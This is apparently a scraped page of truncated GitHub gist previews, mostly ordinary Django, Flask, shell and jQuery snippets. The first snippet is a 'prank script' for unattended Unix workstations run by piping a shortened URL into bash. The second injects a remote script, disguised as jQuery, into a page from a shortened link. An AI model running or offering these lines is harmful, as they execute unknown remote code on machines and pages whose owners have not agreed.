This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
# This is the one stop prank script for unattended Unix-like workstations. | |
# Use it with the simple one-liner: | |
# curl -L j.mp/__lys | bash | |
linux_specific(){ | |
echo "Doing Linux-specific pwnage..." | |
true | |
} |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
($=document.createElement('script')).src='http://j.mp/jqueryjs';(document.getElementsByTagName('head')[0]).appendChild($) |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
function parse_git_branch { | |
local DIRTY="" | |
git diff --quiet HEAD &>/dev/null | |
case $? in | |
129) | |
# not a git repo, don't waste a second git command | |
return $? | |
;; | |
1) | |
DIRTY="⚡" |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
from django.contrib import admin | |
from django.contrib.auth.models import User | |
from pto.models import Request, Holiday | |
class HolidayAdmin(admin.ModelAdmin): | |
list_display = ('name', 'start_date') | |
list_display_links = ('name',) | |
class RequestAdmin(admin.ModelAdmin): | |
list_display = ('employee', 'start_date', 'end_date') |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
if [[ $(uname -a) = *Darwin* ]]; then | |
echo "Run this from your Linux guest, not your Mac"; | |
else | |
sudo apt-get install nfs-kernel-server | |
sudo mkdir /export | |
sudo chmod a+rwx /export | |
mkdir /export/devel | |
sudo mount --bind $HOME/devel /export/devel | |
cat <<EOF | sudo tee -a /etc/fstab |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
from functools import wraps | |
from flask import request | |
import os | |
print 'TEST 1' | |
def cached(timeout=5 * 60, key='view/%s'): | |
print 'TEST 2' | |
def decorator(f): | |
print 'TEST 3' | |
@wraps(f) |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
cat << EOF > /tmp/ono | |
. /admin/bin/vm/vm_funcs.sh | |
load_prod_db | |
EOF | |
chmod +x /tmp/ono | |
screen /tmp/ono |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#!/usr/bin/env bash | |
# Create and cd into a new temp dir before running this series of tests. | |
p(){ echo; read -sn 1 -p "Press any key to continue..."; echo; echo;} | |
n(){ n=$1; echo -n "$ "; sed "$BASH_LINENO!d" $0; } | |
# Create | |
d=$(date +%y%m%d%H%M%S) | |
echo "Creating files..."; |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
from django.contrib import admin | |
from django.contrib.auth.admin import UserAdmin | |
from django.contrib.auth.models import User | |
from userprofiles.models import UserProfile | |
class UserProfileInline(admin.StackedInline): | |
model = UserProfile | |
fk_name = 'user' | |
max_num = 1 |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
(function(jQuery) { | |
// adapted from the work of Chris Beaven https://gist.github.com/967775 | |
jQuery.fn.selectOptgroup = function(options) { | |
var settings = jQuery.extend({ | |
optSelect: '_options', | |
inBetween: '', | |
optBlank: null, | |
selectBlank: null, | |
keepOrphans: true, | |
showSpeed: 200 |